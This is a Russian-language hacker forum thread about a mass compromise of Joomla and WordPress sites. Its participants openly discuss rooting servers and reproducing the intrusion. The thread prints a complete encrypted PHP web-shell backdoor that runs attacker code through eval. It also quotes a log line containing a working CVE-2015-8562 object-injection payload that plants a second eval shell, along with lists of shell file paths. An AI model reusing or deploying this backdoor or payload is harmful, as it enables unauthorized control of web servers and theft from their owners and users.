Охота за хакером! ОЧЕНЬ ИНЕРЕСНАЯ ТЕМА, КОПАЮ УЖЕ НЕДЕЛЮ..... п1. вобщем летом 2016 были атакованы миллионы сайтов joomla и wp https://blog.sucuri.net/2015/11/jquery-min-php-malware-affects-thousands-of-websites.html А так же: в joomla прописан супер пользователь Service без мыла с правами супер админа и логин вида joomla.user.helper.8r4KW - пароль не брутится на всех линейках до последней версии !!! 1.5 , 2.5 и 3.6.5 где прописан такой пользователь, есть вирус п.1 пользователь заригистрирован в j15 - в октябре 2016 в 3 - в январе 2017 А ТАКЖЕ: практически везде есть такой шелл. http://www.bugscan.net/combbs/topics/476/template/ есть руты 6 серверов, где встречаются пользователи на 1 сервере есть логи с июня 2016 есть рут одного из серваков, который присутствует в файле query.min.php (который инжектит вирус п.1) раскопав точку проникновения, можно повторить п.1 кто со мной - пишите в личку. #346
Лолирую с топика. Если не знал, то массовый взлом сайтов - обычное явление на шаред-хостинге. А если выражаться точнее то это баян баянистый. Этот процесс происходит уже лет 10 наверно. Из своего опыта могу сказать, что минимум 10% всех сайтов на жумле и вордпрессе уже взломаны кем-то. Малварь распространяется автоматически. Залился вирус на сайт и тут-же этот вирус начинает сканировать другие сайты и так до бесконечности. Если ты думал, что открыл Америку то ошибаешься. Смотреть как ломают говносайты другие и повторять за ними - этим уже занимаются тысячи кулхацкеров.
Да ты гений просто, 'залился вирус на сайт'. Ясен хуй что вручную на миллионы сайтов никто не вкачивал, вот меня и интересует техническая сторона именно этого случая. Я тоже вслед залился и зарутал некоторые сервера, нужна помощь в расшифровке - логов и файлов, чтобы понять как он залился.
к примеру как работает это шелл <?php @ini_set("error_log", NULL); @ini_set("log_errors", 0); @ini_set("max_execution_time", 0); @set_time_limit(0); $data = NULL; $data_key = NULL; $GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b"; global $auth; function sh_decrypt_phase($data, $key) { $out_data = ""; for ($i = 0; $i < strlen($data) { $jplufmtpaem = "i"; for ($j = 0;$j < strlen($key) && $i < strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } function sh_decrypt($data, $key) { global $auth; return sh_decrypt_phase(sh_decrypt_phase($data, $auth), $key); } foreach($_COOKIE as $key => $value) { $data = $value; $data_key = $key; } if(!$data) { foreach($_POST as $key => $value) { $data = $value; $data_key = $key; } } $data = @unserialize(sh_decrypt(@base64_decode( $data ) , $data_key )); if (isset($data["ak"]) && $auth == $data["ak"]) { if ($data["a"] == "i") { $i = Array("pv" => @phpversion() , "sv" => "1.0-1" , ); echo @serialize($i); } elseif ($data["a"] == "e") { eval($data["d"]); } } ?>
А что такого я сказал? Всё именно так. Просто вирус, просто залился, просто на говносайт. Вот и всё. Банальный eval() которому на выполнение подают код расксореный ключём $GLOBALS["auth"]. Кстати, судя по коду писал его нуб. Ага. Чтобы понять как он залился и начать заливать самому, да? Понять как он залился после того как он уже залился ты не сможешь. Потому что веб-сервер логирует только айпишник, юзер-агент и URI запроса. В большинстве случаев http-запрос на выполнение кода отправляется POST-запросом. В лог попадают только GET-параметры а набор POST-параметров (по которым и можно понять как взломали сайт) не логируется. Можно только сделать honeypot на жумле который будет логировать все http-запросы со всеми их параметрами. Но это превентивная мера а ты предлагаешь изучать последствия уже взломанных сайтов. Логи тебе ничего не дадут по причине вышесказанного. Можно только найти URI по которому был сделан POST-запрос и, если повезёт, то он будет специфическим и по нему можно будет нагуглить описание дыры в жумле. В самом идеальном и невероятном случае сайт взломан GET-запросом, при этом естественно его параметры попадут в лог, но это крайняя редкость. Если ты собрался рассылать малварь по инэту то зря стараешься. Проще не смотреть как делает кто-то а находить топовые уязвимости и сканировать веб по ним.
вот тут hxxp://rniiap.ru/forum/profile/1769-joomla-user-helper-cisev.html - последняя версия между прочем - является супердмином, созданным в результате запроса к базе данных. при создании было обращение к файлу на серваке. В логах это пишется, к какому файлу было обращение. этот юзер нигде никогда не заходил ниже - сайт другой, версия другая, но юзер - аналогичный между прочим вот твой редкий случай - вот он заливает шелл НО ЭТО БЫЛ НЕ ОН ! это CVE-2015-8562 и не работает на этом серваке... ======================== "GET / HTTP/1.1" 200 43723 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:237:\"file_put_contents($_SERVER[\"DOCUMENT_ROOT\"].chr(47).\"admim.php\",\"|=|\\x3C\".chr(63).\"php \\x24mujj=\\x24_POST['gtr'];if(\\x24mujj!=''){\\x24xsser=base64_decode(\\x24_POST['z0']);@eval(\\\"\\\\\\x24safedg=\\x24xsser;\\\");}\");JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}~\xd9" ===================== отстальные запросы были: "GET /administrator/components/com_installer/akdjxnk/rxttekb.php 6B "GET /components/com_rokquickcart/assets/gallery45.php "GET /images/stories/postelnie/TWINS/dir.php "GET /includes/js/jscalendar-1.0/session.php "GET /media/shop/admin_files/html/admin.function_form.php "GET /modules/mod_newsflash/helper.php "GET /modules/mod_virtuemart/vm_transmenu/img/javascript.php "POST /administrator/components/com_categories/toolbar.categories.html.php "POST /administrator/components/com_config/toolbar.config.html.php "POST /administrator/components/com_installer/akdjxnk/rxttekb.php "POST /components/com_poll/assets/plugin27.php "POST /components/com_rokquickcart/assets/gallery45.php
Это снифер по кукам и пост запросам с элементом бэгдора. цель шифрования для защиты уже перехваченных данных от сторонних глаз, следовательно данные могут иметь весомое значение! тут явно код не закончен.